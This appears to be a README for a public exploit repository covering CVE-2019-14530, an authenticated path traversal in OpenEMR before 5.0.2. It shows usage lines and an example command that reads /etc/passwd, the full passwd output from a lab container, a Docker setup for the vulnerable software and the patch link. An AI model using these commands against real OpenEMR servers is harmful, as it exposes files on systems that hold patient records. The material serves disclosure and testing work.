OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure# OpenEMR CVE-2019-14530 exploit
> OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure
Exploit for [CVE-2019-14530][CVE-2019-14530].
[[EDB-50087](https://www.exploit-db.com/exploits/50087)] [[PacketStorm](https://packetstormsecurity.com/files/163375/OpenEMR-5.0.1.7-Path-Traversal.html)]
## Usage
```
$ ruby exploit.rb -h
OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure
Source: https://github.com/sec-it/exploit-CVE-2019-14530
Usage:
exploit.rb exploit <url> <filename> <username> <password> [--debug]
exploit.rb -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<filename> Filename of the file to be read
<username> Username of the admin
<password> Password of the admin
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb exploit http://example.org/openemr /etc/passwd admin pass
exploit.rb exploit https://example.org:5000/ /etc/passwd admin pas
```
## Example
```
$ ruby exploit.rb exploit http://172.21.0.2 /etc/passwd admin pass
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin
```
## Requirements
- [httpx](https://gitlab.com/honeyryderchuck/httpx)
- [docopt.rb](https://github.com/docopt/docopt.rb)
Example using gem:
```bash
bundle install
# or
gem install httpx docopt
```
## Docker deployment of the vulnerable software
Warning: of course this setup is not suited for production usage!
```
$ sudo docker-compose up
```
## Limitations
- **Read**: of course you are reading with the web user permissions so don't expect to read root files
## References
- Target software: **OpenEMR**
- Homepage: https://www.open-emr.org/
- Source: https://github.com/openemr/openemr
- Docker: see `docker-compose.yml`
- Vulnerable version: < 5.0.2 (it means up to 5.0.1.7)
- Patch: https://github.com/openemr/openemr/pull/2592/files
This is a better re-write [EDB-50037][EDB-50037].
The vulnerability was found by [Wezery](https://github.com/Wezery).
Analysis of the original exploit and vulnerability:
- [Path traversal vulnerability - PDF](https://raw.githubusercontent.com/Wezery/CVE-2019-14530/master/Path%20traversal%20and%20DoS.pdf)
- [README#Description](https://github.com/Wezery/CVE-2019-14530#description)
[EDB-50037]:https://www.exploit-db.com/exploits/50037
[CVE-2019-14530]:https://nvd.nist.gov/vuln/detail/CVE-2019-14530
[4.0K] /data/pocs/8d237c1a2b5cb160ea26241afa8ea73a289e5803
├── [1002] docker-compose.yml
├── [2.3K] exploit.rb
├── [ 80] Gemfile
├── [ 272] Gemfile.lock
├── [1.1K] LICENSE
└── [3.6K] README.md
0 directories, 6 files